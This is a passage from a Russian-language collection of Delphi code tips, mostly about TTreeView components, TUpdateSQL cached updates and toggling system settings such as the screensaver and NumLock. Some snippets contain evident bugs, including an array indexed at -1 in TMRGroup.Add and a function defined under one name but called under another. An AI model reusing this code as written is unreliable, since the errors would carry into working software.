procedure TGRTreeView.MRPLoadFromFile(const FileName: string;
  RootName: string);
var
  FNT, FNR, Ex: string;
  ANode: TTreeNode;
begin
  if not FileExists(FileName) then
    Exit;
  Ex := ExtractFileExt(FileName);
  if Ex = '' then
  begin
    FNT := ExtractFileName(FileName) + '.tree';
    FNR := ExtractFileName(FileName) + '.ini';
  end
  else
  begin
    FNT := ExtractFileName(FileName);
    FNT := Copy(FNT, 0, pos('.', FNT) - 1);
    FNR := FNT + '.ini';
    FNT := FNT + '.tree';
  end;
  FNT := ExtractFilePath(FileName) + FNT;
  FNR := ExtractFilePath(FileName) + FNR;
  if (not FileExists(FNT)) or (not FileExists(FNR)) then
  begin
    ANode := Items.Add(nil, RootName);
    ANode.StateIndex := 0;
    Self.MRPSaveToFile(FileName);
  end
  else
  begin
    MRPLoadFromFile(FileName);
  end;
end;
procedure TGRTreeView.MRPLoadFromStream(Stream: TStream);
var
  List: TStringList;
  ANode, NextNode: TTreeNode;
  ALevel, i, AStateIndex: Integer;
  CurrStr, Buff: string;
begin
  Items.Clear;
  List := TStringList.Create;
  Items.BeginUpdate;
  try
    try
      List.Clear;
      List.LoadFromStream(Stream);
      ANode := nil;
      for i := 0 to List.Count - 1 do
      begin
        CurrStr := GetBufStart(PChar(List[i]), ALevel);
        AStateIndex := -1;
        if pos(fSeparator, CurrStr) > 0 then
        begin
          Buff := Copy(CurrStr, pos(fSeparator, CurrStr) + 1, length(CurrStr) -
            pos(fSeparator, CurrStr));
          if Buff <> '' then
            AStateIndex := StrToInt(Buff);
          // Delete(CurrStr,pos(CurrStr,fSeparator),length(CurrStr)-pos(CurrStr,fSeparator)-1);
          buff := Copy(CurrStr, 0, pos(fSeparator, CurrStr) - 1);
          CurrStr := Buff;
        end;
        if ANode = nil then
        begin
          ANode := Items.AddChild(nil, CurrStr);
          if AStateIndex <> -1 then
            ANode.StateIndex := AStateIndex;
        end
        else if ANode.Level = ALevel then
        begin
          ANode := Items.AddChild(ANode.Parent, CurrStr);
          if AStateIndex <> -1 then
            ANode.StateIndex := AStateIndex;
        end
        else if ANode.Level = (ALevel - 1) then
        begin
          ANode := Items.AddChild(ANode, CurrStr);
          if AStateIndex <> -1 then
            ANode.StateIndex := AStateIndex;
        end
        else if ANode.Level > ALevel then
        begin
          NextNode := ANode.Parent;
          while NextNode.Level > ALevel do
            NextNode := NextNode.Parent;
          ANode := Items.AddChild(NextNode.Parent, CurrStr);
          if AStateIndex <> -1 then
            ANode.StateIndex := AStateIndex;
        end;
        // else TreeViewErrorFmt(sInvalidLevelEx, [ALevel, CurrStr]);
      end;
    finally
      Items.EndUpdate;
      List.Free;
    end;
  except
    Items.Owner.Invalidate; // force repaint on exception see VCL
    raise;
  end;
  if Items.Count > 0 then
    Items.Item[0].Expand(false);
end;
procedure TGRTreeView.MRPSaveToFile(const FileName: string);
var
  Stream: TStream;
  FNT, FNR, Ex: string;
begin
  Ex := ExtractFileExt(FileName);
  if Ex = '' then
  begin
    FNT := ExtractFileName(FileName) + '.tree';
    FNR := ExtractFileName(FileName) + '.ini';
  end
  else
  begin
    FNT := ExtractFileName(FileName);
    FNT := Copy(FNT, 0, pos('.', FNT) - 1);
    FNR := FNT + '.ini';
    FNT := FNT + '.tree';
  end;
  FNT := ExtractFilePath(FileName) + FNT;
  FNR := ExtractFilePath(FileName) + FNR;
  Stream := TFileStream.Create(FNT, fmCreate);
  try
    flock := True;
    MRPSaveToStream(Stream);
  finally
    Stream.Free;
    flock := false;
  end;
end;
procedure TGRTreeView.MRPSaveToStream(Stream: TStream);
const
  TabChar = #9;
  EndOfLine = #13#10;
var
i: Integer;
  ANode: TTreeNode;
  NodeStr: string;
begin
  if Items.Count > 0 then
  begin
    ANode := Items.Item[0];
    while ANode <> nil do
    begin
      NodeStr := '';
      for i := 0 to ANode.Level - 1 do
        NodeStr := NodeStr + TabChar;
      NodeStr := NodeStr + ANode.Text + fSeparator + IntToStr(ANode.StateIndex)
        + EndOfLine;
      Stream.Write(Pointer(NodeStr)^, Length(NodeStr));
      ANode := ANode.GetNext;
    end;
  end;
end;
function TGRTreeView.MRRefresh: boolean;
var
  i: integer;
  ANode, NextNode: TTreeNode;
  MGroup: TMRGroup;
begin
  if (fDataSource.DataSet = nil) or (KeyField = '') or (MasterField = '') or
    (NameField = '') then
  begin
    Result := false;
    Exit;
  end;
  if not fDataSource.DataSet.Active then
    fDataSource.DataSet.Open
  else
  begin
    fDataSource.DataSet.Close;
    fDataSource.DataSet.Open;
  end;
  fDataSource.DataSet.DisableControls;
  MGroup := TMRGroup.Create;
  MGroup.Clear;
  try
    while not fDataSource.DataSet.Eof do
    begin
      MGroup.Add(DataSource.DataSet.FieldByName(KeyField).AsInteger,
        DataSource.DataSet.FieldByName(MasterField).AsInteger,
        DataSource.DataSet.FieldByName(NameField).AsString);
      fDataSource.DataSet.Next;
    end;
    items.Clear;
    Items.BeginUpdate;
    fLock := True;
    ANode := nil;
    for i := 0 to MGroup.Count - 1 do
    begin
      if ANode = nil then
      begin
        ANode := Items.AddChild(nil, MGroup.Items[i].MainName);
        ANode.StateIndex := MGroup.items[i].ID;
      end
      else if ANode.Level = (MGroup.items[i].Level) then
      begin
        ANode := items.AddChild(ANode.Parent, MGroup.items[i].MainName);
        ANode.StateIndex := MGroup.items[i].ID;
      end
      else if ANode.Level = (MGroup.items[i].Level - 1) then
      begin
        ANode := Items.AddChild(ANode, MGroup.items[i].MainName);
        ANode.StateIndex := MGroup.items[i].ID;
      end
      else if ANode.Level > MGroup.items[i].Level then
      begin
        NextNode := ANode.Parent;
        while NextNode.Level > MGroup.items[i].Level do
          NextNode := NextNode.Parent;
        ANode := Items.AddChild(NextNode.Parent, MGroup.items[i].MainName);
        ANode.StateIndex := MGroup.items[i].ID;
      end;
      { else if ANode.Level > MGroup.items[i].Level then
              begin
                NextNode := ANode.Parent;
                while NextNode.Level > MGroup.items[i].Level do
                  NextNode := NextNode.Parent;
                ANode := Items.AddChild(NextNode.Parent, MGroup.items[i].MainName);
                ANode.StateIndex:=MGroup.items[i].ID;
              end;}
    end;
  finally
    fDataSource.DataSet.First;
    fDataSource.DataSet.EnableControls;
    //ShowMessage('Tree count='+IntToStr(Items.Count)+' MGroup count='+IntToStr(MGroup.Count));
    MGroup.Free;
    fLock := false;
  end;
  Items.EndUpdate;
  if Items.Count > 0 then
    Items.Item[0].Expand(false);
  Result := True;
end;
procedure TGRTreeView.SetDataSource(value: TDataSource);
begin
  fDataSource.DataSource := value;
end;
function TGRTreeView.MRGetIndexByMasterID(MasterID: integer): integer;
var
  i: integer;
begin
  if Items.Count = 0 then
  begin
    Result := -1;
    exit;
  end;
  for i := 0 to Items.Count - 1 do
  begin
    if Items.Item[i].StateIndex = MasterID then
    begin
      Result := i;
      Exit;
    end;
  end;
  Result := -1;
end;
function TGRTreeView.GetKeyField: string;
begin
  Result := fFeyField.FieldName;
end;
function TGRTreeView.GetMasterKeyField: string;
begin
  Result := fMasterFeyField.FieldName;
end;
function TGRTreeView.GetNameField: string;
begin
  Result := fNameField.FieldName;
end;
procedure TGRTreeView.SetKeyField(value: string);
begin
  fFeyField.FieldName := value;
end;
procedure TGRTreeView.SetMasterKeyField(value: string);
begin
  fMasterFeyField.FieldName := value;
end;
procedure TGRTreeView.SetNameField(value: string);
begin
  fNameField.FieldName := value;
end;
procedure TGRTreeView.SetSeparator(value: char);
begin
  fSeparator := value;
end;
procedure TGRTreeView.GetImageIndex(Node: TTreeNode);
begin
  if fLock then
    Exit;
  inherited;
  if Node.getFirstChild <> nil then
  begin
    Node.ImageIndex := 0;
    Node.SelectedIndex := 1;
  end
  else
  begin
    Node.ImageIndex := 2;
    Node.SelectedIndex := 3;
  end;
end;
function TGRTreeView.MRGetIndexByMasterIDRecurse(
  MasterID: integer): integer;
var
  i: integer;
begin
  if Items.Count = 0 then
  begin
    Result := -1;
    exit;
  end;
  for i := Items.Count - 1 downto 0 do
  begin
    if Items.Item[i].StateIndex = MasterID then
    begin
      Result := i;
      Exit;
    end;
  end;
  Result := -1;
end;
function TGRTreeView.MRSearchByText(AText: string; Next: Boolean = True;
  UseSearchIndex: Boolean = false): integer;
var
  i, iStart, iEnd: integer;
  sel: TList;
  f: boolean;
begin
  if Items.Count = 0 then
  begin
    Result := -1;
    fSearchIndex := -1;
    Exit;
  end;
  if Next then
  begin
    if (UseSearchIndex) and (fSearchIndex <> -1) then
      iStart := fSearchIndex + 1
    else
      iStart := 0;
    iEnd := Items.Count - 1;
  end
  else
  begin
    if (UseSearchIndex) and (fSearchIndex <> -1) then
      iStart := fSearchIndex - 1
    else
      iStart := Items.Count - 1;
    iEnd := 0;
  end;
  i := iStart;
  f := true;
  repeat
    if pos(AnsiUpperCase(AText), AnsiUpperCase(Items.Item[i].Text)) > 0 then
    begin
      Result := i;
      fSearchIndex := i;
      sel := TList.Create;
      sel.Add(Items.Item[i]);
      Select(Sel);
      sel.Free;
      Exit;
    end;
    if Next then
    begin
      inc(i);
      if i > iEnd then
        f := false;
    end
    else
    begin
      dec(i);
      if i < iEnd then
        f := false;
    end;
  until f <> true;
  Result := -1;
  fSearchIndex := -1;
end;
{ TMRGroup }
procedure TMRGroup.Add(AID, AMasterID: integer; AMainName: string);
var
  idx: integer;
begin
  inc(fCount);
  SetLength(items, fCount);
  items[fCount - 1].ID := AID;
  items[fCount - 1].MasterID := AMasterID;
  items[fCount - 1].MainName := AMainName;
  idx := GetIndexByMasterID(AMasterID);
  if idx = -1 then
  begin
    items[idx].Level := 0;
  end
  else
  begin
    items[fCount - 1].Level := items[idx].Level + 1;
  end;
end;
procedure TMRGroup.Clear;
begin
  items := nil;
  fCount := 0;
end;
constructor TMRGroup.Create;
begin
  inherited;
  fCount := 0;
end;
destructor TMRGroup.destroy;
begin
  items := nil;
  inherited;
end;
function TMRGroup.GetIndexByMasterID(AMasterID: integer): integer;
var
  i: integer;
begin
  if (fCount = 0) then
  begin
    Result := -1;
    Exit;
  end;
  for i := 0 to fCount - 1 do
  begin
    if items[i].ID = AMasterID then
    begin
      Result := i;
      Exit;
    end;
  end;
  Result := -1;
end;
procedure TMRGroup.SetCount(value: integer);
begin
  fCount := value;
end;
end.

Показываем директории в TTreeView.

procedure TForm1.GetDirectories(Tree: TTreeView; Directory: string;
Item: TTreeNode; IncludeFiles: Boolean);
var 
  SearchRec: TSearchRec; 
  ItemTemp: TTreeNode; 
begin 
  Tree.Items.BeginUpdate; 
  if Directory[Length(Directory)] <> '\' then Directory := Directory + '\'; 
  if FindFirst(Directory + '*.*', faDirectory, SearchRec) = 0 then 
  begin 
    repeat 
      if (SearchRec.Attr and faDirectory = faDirectory) and
      (SearchRec.Name[1] <> '.') then 
      begin 
        if (SearchRec.Attr and faDirectory > 0) then 
          Item := Tree.Items.AddChild(Item, SearchRec.Name); 
        ItemTemp := Item.Parent; 
        GetDirectories(Tree, Directory + SearchRec.Name, Item, IncludeFiles); 
        Item := ItemTemp; 
      end 
      else if IncludeFiles then 
        if SearchRec.Name[1] <> '.' then 
          Tree.Items.AddChild(Item, SearchRec.Name); 
    until FindNext(SearchRec) <> 0; 
    FindClose(SearchRec); 
  end; 
  Tree.Items.EndUpdate; 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
var 
  Node: TTreeNode; 
  Path: string; 
  Dir: string; 
begin 
  Dir := 'c:\temp'; 
  Screen.Cursor := crHourGlass; 
  TreeView1.Items.BeginUpdate; 
  try 
    TreeView1.Items.Clear; 
    GetDirectories(TreeView1, Dir, nil, True); 
  finally 
    Screen.Cursor := crDefault; 
    TreeView1.Items.EndUpdate; 
  end; 
end;

Получить строковый путь в TTreeView.

function SrNodeTree(pTreeNode: TTreeNode; var sRuta: string): string; 
begin 
  sRuta := pTreeNode.Text + ' > ' + sRuta; 
  if pTreeNode.Level = 0 then Result := sRuta 
  else  
    Result := SrNodeTree(pTreeNode.Parent, sRuta); 
end; 
{*--------------------------------------------- 
  Click an Item 
 ---------------------------------------------*} 
procedure TForm1.TreeView1Click(Sender: TObject); 
var 
  sPath: string; 
begin 
  label1.Caption := SrNodeTree(TreeView1.Selected, sPath); 
end;

Сохранить и загрузить TTreeView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  Treeview1.SaveToFile('...') doesn't store images. 
  Instead, use the code below. 
}
 { 
 Treeview1.SaveToFile('...') speichert Bitmaps im Treeview nicht. 
 Um auch die Bitmaps eines Treeviews zu speichern, 
 benutze untenstehenden Code. 
}
 // Save 
procedure TForm1.Button1Click(Sender: TObject);
 var
   F: TFileStream;
 begin
   F := TFileStream.Create('c:\TreeView.txt', fmCreate or fmShareCompat);
   try
     F.WriteComponent(TreeView1);
   finally
     F.Free;
   end;
 end;
 // Load 
procedure TForm1.Button2Click(Sender: TObject);
 var
   F: TFileStream;
 begin
   F := TFileStream.Create('c:\TreeView.txt', fmOpenRead or fmShareDenyWrite);
   try
     F.ReadComponent(TreeView1);
   finally
     F.Free;
   end;
 end;

Принцип и порядок работы с TUpdateSQL для работы с неживыми запросами.

Автор: Nomadic.

Кидаешь UpdateSQL на форму, после чего в том SQL, который ты собираешься редактировать, устанавливаешь в UpdateObject имя этого UpdateSQL. После этих дел по дабл-клику на UpdateSQL выдаётся редактор, в котором ты должен для каждой из таблиц,входящих в твой запрос, указать набор полей, являющихся уникальным ключём таблицы, и набор полей, которые требуется редактировать. В общем случае возможны глюки с редактированием, если в числе изменяемых полей будут элементы ключа. Указав все поля, давишь кнопку Generate SQL и в результате у тебя генерятся запросы на редактирование, добавление и удаление, которые прописываются в том же UpdateSQL. Обычно эти запросы никакого дополнительного редактирования не требуют. После всех этих дел ты можешь нормально редактировать запрос, как обычную таблицу. Некоторые моменты. Для того, чтобы всё это нормально работало, нужно, чтобы в TQuery были включены RequestLive и CashedUpdates. Соответственно, для подтверждения изменений нужно вызывать TQuery.ApplyUpdates и TQuery.CommitUpdates, либо TDatabase.ApplyUpdates, а для отмены - CancelUpdates. Если меняешь структуру таблиц, то не забывай менять списки полей в UpdateSQL, иначе можешь получить неприятный сюрприз - будешь долго сидеть и думать, почему при редактировании/добавлении некоторые поля не прописываются :-). Насчёт CachedUpdates. Сия хреновина придумана для того, чтобы обеспечить сохранение/отмену редактирования/добавления/удаления сразу нескольких записей. Принцип совершенно элементарен: если CachedUpdates включен, то все производимые изменения в датасете по команде Post фиксируются не в базе, а во временном файле на винте клиента. Для того, чтобы прописать изменения в таблице (физически), необходимо вызвать для соответствующего запроса последовательно методы ApplyUpdates и CommitUpdates, а для отмены ВСЕХ изменений (начиная от последнего выполненного CommitUpdates), вызвать CancelUpdates. Кроме того, метод ApplyUpdates у TDataBase. Этому методу нужен список датасетов, и он производит их обновление в одной транзакции.

Практическое применение, например, такое: на форме редактирования с гридом и набором кнопок Добавить, Удалить, Редактировать, ОК, Отмена, вешаешь на первые три кнопки обработчики с Insert, Delete и Edit соответственно, на ОК - такой примерно обработчик:

with DataSet do
begin
  if State in [dsEdit,dsInsert] then
    Post;
  ApplyUpdates;
  CommitUpdates;
end;

А на Отмену такой:

with DataSet do
begin
  if State in [dsEdit,dsInsert] then
    Cancel;
  CancelUpdates;
end;
В результате юзер может редактировать хоть всю таблицу, но если успеет спохватиться, то может отменить все свои художества. Только желательно на выходе из формы проверить, сохранены ли изменения,и если нет, то напомнить/переспросить.

Лучше использовать конструкцию "State in dsEditModes".

TUpdateSQL. Выполнение нескольких SQL команд.

Автор: Андрей Камбалов Огорворимся сразу. Под SQL сервером подразумеваются сервера, выполняющие SQL запросы, к ним относятся Oracle, MS SQL, InterBase и т.д. В стандартной поставке Delphi TUpdateSQL позволяет выполнить только одну SQL команду, но возникает ситуация, когда желательно выполнить сразу несколько команд (например: удаление из двух таблиц одновременно, когда нет возможности установить каскадное удаление (DBF, DB)) или запустить процедуру на SQL сервере. В этом случае можно обойти ограничение, навязанное Delphi в виде ошибки Update Failed, возникающей при сохранении данных. ТИПОВЫЕ РЕШЕНИЯ Как это сделать:

В каталоге {DELPHI$}\Source\VCL\ есть файл DBTABLES.PAS. Открываем его и находим следующий код:

procedure TUpdateSQL.ExecSQL(UpdateKind: TUpdateKind);
begin
  with Query[UpdateKind] do
  begin
    Prepare;
    ExecSQL;
    if RowsAffected <> 1 then
      DatabaseError(SUpdateFailed);
  end;
end;
комментируем строки
if RowsAffected <> 1 then
  DatabaseError(SUpdateFailed); 
затем необходимо откомпилировать этот файл, как один из путей - добавить его в новый проект и запустить компиляцию проекта. Затем файл dbtables.dcu необходимо скопировать в каталоги: {DELPHI$}\LIB и {DELPHI$}\LIB\DEBUG И можно приступать к работе. Есть одно НО. При построении проекта, если в параметрах проекта выбрать Build with runtime packages, то номер не пройдет, поскольку в данном случае приложение будет использовать уже готовый BPL от Borland. КОММЕНТАРИЙ: Если хорошо подумать, то авторы VCL не "от балды" сделали в этом месте контроль количества затронутых запросом записей. И не зря сравнили его с единицей (хотя, на первый взгляд, проще с нулем: RowsAffected > 0 -> Ok!). Компонент TUpdateSQL отрабатывает для операции над одной записью. Если запрос затронул несколько записей одной таблицы (например - удалил), то это повод для разборки - запрос неправильный, либо в таблице дубликаты. Если же мы закомментируем эту проверку, то рискуем остаться без контроля подобного рода ошибок. Конечно, уверенный в себе программист (допустим, он реализовал необходимый контроль ошибок в хранимой процедуре) может исправить свою личную копию VCL и пользоваться ею.

Но, как говорится, "Не уверен - не обгоняй".

Как отключить хранитель экрана.

Автор: Олег Кулабухов
Встречаются два юзера. Один другому: - Что-то лицо мне ваше знакомо, вы в скринсейверах не снимались?
procedure TForm1.Button1Click(Sender: TObject);
begin
  {Turn it off}
  SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 0, nil, 0);
  {Turn it on}
  SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1, nil, 0);
end;

Как выключит спикер.

Автор: Nomadic
Сидит программист дома (работает)... Подходит жена и подносит чашку кофе. Муж: (отхлебнув глоток) Ты же знаешь, что я люблю кофе без сахара! Жена: Да, любимый, просто очень захотела услышать твой голос.

Это выключит спикер:

SyStemParametersInfo(SPI_SETBEEP,0,nil,SPIF_UPDATEINIFILE);

Это включит:

SyStemParametersInfo(SPI_SETBEEP,1,nil,SPIF_UPDATEINIFILE);

Как включить Caps Lock.

procedure TMyForm.Button1Click(Sender: TObject);
Var
  KeyState:  TKeyboardState;
begin
  GetKeyboardState(KeyState);
  if (KeyState[VK_NUMLOCK] = 0) then
    KeyState[VK_NUMLOCK] := 1
  else
    KeyState[VK_NUMLOCK] := 0;
  SetKeyboardState(KeyState);
end;

Для Caps Lock замените VK_NUMLOCK на VK_CAPITAL.

Включение и выключение закладки Notebook.

Автор: Ralph Friedman
Выключать компьютер - Шататься дауном.

Вот хороший трюк от Xavier Pacheco:

unit TabDis;
interface
uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, TabNotBk;
type
  TFrmTabDis = class(TForm)
    TabbedNotebook1: TTabbedNotebook;
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;
var
  FrmTabDis: TFrmTabDis;
implementation
{$R *.DFM}
procedure TFrmTabDis.FormCreate(Sender: TObject);
var
  i: integer;
  j: integer;
begin
  { Создаем имена для всех Notebook TTabButton }
  j := 0;
  with TabbedNotebook1 do
    for i := 0 to ControlCount - 1 do
      if Controls[i].ClassName = 'TTabButton' then
      begin
        Controls[i].Name := Controls[i].ClassName + IntToStr(j);
        Inc(j);
      end;
end;
procedure TFrmTabDis.Button1Click(Sender: TObject);
begin
  { Делаем недоступной определенную страницу notebook }
  with TControl(TabbedNotebook1.FindComponent('TTabButton2')) do
    Enabled := not Enabled;
end;
end.

Как программно включить или выключить NumLock.

Статьи по Delphi (017)…
Хотите получить много $$$$$, все очень просто, от вас практически ничего не требуется, прсто нажмите клавишу Shift и удерживая ее - клавишу 4.
var
  abKeyState: array [0..255] of byte;
begin
  GetKeyboardState( Addr( abKeyState[ 0 ] ) );
  abKeyState[ VK_NUMLOCK ] := abKeyState[ VK_NUMLOCK ] or $01;
  SetKeyboardState( Addr( abKeyState[ 0 ] ) );
end;

TVertGrid — TStringGrid с возможностью заполнения в design-time.

Автор: Дмитрий Логинов Статьи по Delphi (017)… Компонент TVertGrid представляет собой модифицированный TStringGrid. В стандартный компонент добавлена возможность в режиме Design-time заполнять первую колонку (property Labels) и первую строку (property Titles) грида. Если набранных строк в Labels больше, чем задано количество строк самого TVertGrid, то они будут автоматически добавлены. Аналогично и с количеством колонок (Titles). При уменьшении строк в свойствах Labels и Titles, количество строк и колонок самого грида не будет уменьшаться. На скриншоте показано редактирование списка заголовков колонок. Количество строк в Titles это количество заполненных колонок первой строки. Компонент очень прост и вы можете модифицировать его по своему собственному желанию. Скачать VertGrid.Zip (1K)

Исходный код компонента:

unit VertGrid;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Grids, stdctrls;
type
  TVertGrid = class(TStringGrid)
  protected
    { Protected declarations }
    procedure SetLines(Value: TStrings);
    function GetLines: TStrings;
    procedure SetTitles(Value: TStrings);
    function GetTitles: TStrings;
  public
    constructor Create(AOwner: TComponent); override;
  published
    // Первая колонка
    property Labels: TStrings read GetLines write SetLines;
    // Первая строка
    property Titles: TStrings read GetTitles write SetTitles;
  end;
procedure Register;
implementation
procedure Register;
begin
  RegisterComponents('Samples', [TVertGrid]);
end;
constructor TVertGrid.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  ColCount := 2;
  DefaultRowHeight := 16;
end;
procedure TVertGrid.SetLines(Value: TStrings);
begin
  if Value.Count > RowCount then
    RowCount := Value.Count;
  Cols[0].Assign(Value);
end;
procedure TVertGrid.SetTitles(Value: TStrings);
begin
  if Value.Count > ColCount then
    ColCount := Value.Count;
  Rows[0].Assign(Value);
end;
function TVertGrid.GetLines: TStrings;
begin
  result := Cols[0];
end;
function TVertGrid.GetTitles: TStrings;
begin
  result := Rows[0];
end;
end.

Отключить подсказки для TTreeView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  If you have installed the Internet Explorer 4.0 or high, in TTreeView component 
  always displaying a hint for cutted items. It's useful but sometimes prevents and 
  irritates (at least, me). But there is a simple way to switch off this feature: 
}
 procedure TForm1.FormShow(Sender: TObject);
 const
   TVS_NOTOOLTIPS = $0080;
 begin
   SetWindowLong(Treeview1.Handle, GWL_STYLE,
     GetWindowLong(TreeView1.Handle, GWL_STYLE) xor TVS_NOTOOLTIPS);
 end;

Как реализовать Drag and Drop в TTreeView.

Автор: Васильев Василий.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
  Dialogs, StdCtrls, ComCtrls;
type
  TForm1 = class(TForm)
    TreeView1: TTreeView;
    Label1: TLabel;
    procedure TreeView1DragDrop(Sender, Source: TObject; X, Y: Integer);
    procedure TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;
      State: TDragState; var Accept: Boolean);
  private
    { Private declarations }
    procedure MoveNode(TargetNode, SourceNode: TTreeNode);
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}
//
// Procedure which will move node and its subnodes
//
procedure TForm1.MoveNode(TargetNode, SourceNode: TTreeNode);
var
  nodeTmp: TTreeNode;
  i: Integer;
begin
  with TreeView1 do
  begin
    nodeTmp := Items.AddChild(TargetNode, SourceNode.Text);
    for i := 0 to SourceNode.Count - 1 do
    begin
      MoveNode(nodeTmp, SourceNode.Item[i]);
    end;
  end;
end;
procedure TForm1.TreeView1DragDrop(Sender, Source: TObject; X, Y: Integer);
var
  TargetNode, SourceNode: TTreeNode;
begin
  with TreeView1 do
  begin
    TargetNode := GetNodeAt(X, Y); // Get target node
    SourceNode := Selected;
    if (TargetNode = nil) then
    begin
      EndDrag(False);
      Exit;
    end;
    MoveNode(TargetNode, SourceNode);
    SourceNode.Free;
  end;
end;
procedure TForm1.TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;
  State: TDragState; var Accept: Boolean);
begin
  if (Sender = TreeView1) then // If TRUE than accept the draged item
  begin
    Accept := True;
  end;
end;
end.

Перенос элементов в TTreeView.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

unit Unit1;
 interface
 uses
   Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
   Dialogs, StdCtrls, ComCtrls;
 type
   TForm1 = class(TForm)
     TreeView1: TTreeView;
     Label1: TLabel;
     procedure TreeView1DragDrop(Sender, Source: TObject; X, Y: Integer);
     procedure TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;
       State: TDragState; var Accept: Boolean);
   private
     { Private declarations }
     Procedure MoveNode(TargetNode, SourceNode : TTreeNode);
   public
     { Public declarations }
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.dfm}
 // 
// Procedure which will move node and its subnodes 
// 
Procedure TForm1.MoveNode(TargetNode, SourceNode : TTreeNode);
 var
   nodeTmp : TTreeNode;
   i : Integer;
 begin
   with TreeView1 do
   begin
     nodeTmp := Items.AddChild(TargetNode,SourceNode.Text);
     for i := 0 to SourceNode.Count -1 do
     begin
       MoveNode(nodeTmp,SourceNode.Item[i]);
     end;
   end;
 end;
 procedure TForm1.TreeView1DragDrop(Sender, Source: TObject; X, Y: Integer);
 var
   TargetNode, SourceNode : TTreeNode;
 begin
   with TreeView1 do
   begin
     TargetNode := GetNodeAt(X,Y); // Get target node 
    SourceNode := Selected;
     if (TargetNode = nil) then
     begin
       EndDrag(False);
       Exit;
     end;
     MoveNode(TargetNode,SourceNode);
     SourceNode.Free;
   end;
 end;
 procedure TForm1.TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;
   State: TDragState; var Accept: Boolean);
 begin
   if (Sender = TreeView1) then // If TRUE than accept the draged item 
  begin
     Accept := True;
   end;
 end;
 end.

Прокручивать TTreeView во время перемещения.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.TreeView1DragOver(Sender, Source: TObject; X, Y: Integer;
   State: TDragState; var Accept: Boolean);
 begin
   if (y < 15) then {On the upper edge - should scroll up }
     SendMessage(TreeView1.Handle, WM_VSCROLL, SB_LINEUP, 0)
   else if (TreeView1.Height - y < 15) then { On the lower edge - should scroll down }
     SendMessage(TreeView1.Handle, WM_VSCROLL, SB_LINEDOWN, 0);
 end;

Получение узла в TTreeView по пути заголовков.

Автор: Lipskiy WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение узла в TreeView по пути заголовков
Функция выдает узел TTreeNode из дерева TreeView, находящийся по пути,
указанному в Path, в котором разделителем уровней является символ Separator.
Если узел не найден - выдается nil.
Ограничение - заголовки узлов дерева не должны содержать символа Separator.
Зависимости: ComCtrls, Classes, SysUtils
Автор:       lipskiy, lipskiy@mail.ru, ICQ:51219290, Санкт-Петербург
Copyright:   Собственное написание (lipskiy)
Дата:        26 июня 2002 г.
***************************************************** }
function GetNodeInPath(Path: string; Separator: char; TreeView: TTreeView):
  TTreeNode;
var
  List: TStringList;
  Node: TTreeNode;
  i: integer;
  s: string;
begin
  Result := nil;
  if (TreeView = nil) or (TreeView.Items.Count = 0) or (Path = '') or (Separator
    = '') then
    exit;
  List := TStringList.Create;
  // Меняем сепаратор на первод строки
  s := StringReplace(Path, Separator, #13#10,[rfReplaceAll]);
 // Получаем список уровней
  List.Text := s;
  // Начинаем с нулевой ноды дерева
  Node := TreeView.Items[0];
  // Проходим по всему списку уровней пути
  for i := 0 to List.Count - 1 do
  begin
    // Ищем имя ноды на текущем уровне
    while (Node <> nil) and (Node.Text <> List[i]) do
      Node := Node.getNextSibling;
    // Нода не найдена
    if Node = nil then
      break;
    // Переходим на уровень ниже
    if i < List.Count - 1 then
      Node := Node.getFirstChild;
  end;
  List.Free;
  Result := Node;
end;
// Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
begin
  TreeView1.Selected := GetNodeInPath('Каталог\Подкаталог', '\', TreeView1);
end;

Искать узел TTreeView через его свойство Text.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// Search a TreeItem through its Text property 
// Return value is a TreeNodeObject 
// TreeItem uber die TextEigenschaft  suchen 
// Der Ruckgabewert der Function ist ein TreeNodeObject. 
function Form1.TreeItemSearch(TV: TTreeView; SucheItem: string): TTreeNode;
 var
   i: Integer;
   iItem: string;
 begin
   if (TV = nil) or (SucheItem = '') then Exit;
   for i := 0 to TV.Items.Count - 1 do
    begin
     iItem := TV.Items[i].Text;
     if SucheItem = iItem then
      begin
       Result := TV.Items[i];
       Exit;
     end
      else
      begin
       Result := nil;
     end;
   end;
 end;
 //  Example: Search for Wasserfall in TreeView1 and select item 
//  Beispiel: Sucht in TreeView1 das 
//  Item mit der Beschriftung  >Wasserfall< u. selectiert es; 
procedure TForm1.Button1Click(Sender: TObject);
 var
   Node: TTreeNode;
 begin
   //either - entweder so 
  Node := TreeItemSuchen(TreeView1, 'Wasserfall');
   TreeView1.Selected := Node;
   //or - oder so 
  TreeView1.Selected := TreeItemSuchen(TreeView1, 'Wasserfall ');
 end;

Выделять узел TTreeView правой кнопкой мыши.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

procedure TForm1.TreeView1ContextPopup(Sender: TObject; MousePos: TPoint;
   var Handled: Boolean);
 var
   tmpNode: TTreeNode;
 begin
   tmpNode := (Sender as TTreeView).GetNodeAt(MousePos.X, MousePos.Y);
   if tmpNode <> nil then
     TTreeView(Sender).Selected := tmpNode;
 end;

Получение пути заголовков к узлу в TTreeView.

Автор: Lipskiy WEB-сайт: http://delphibase.endimus.com

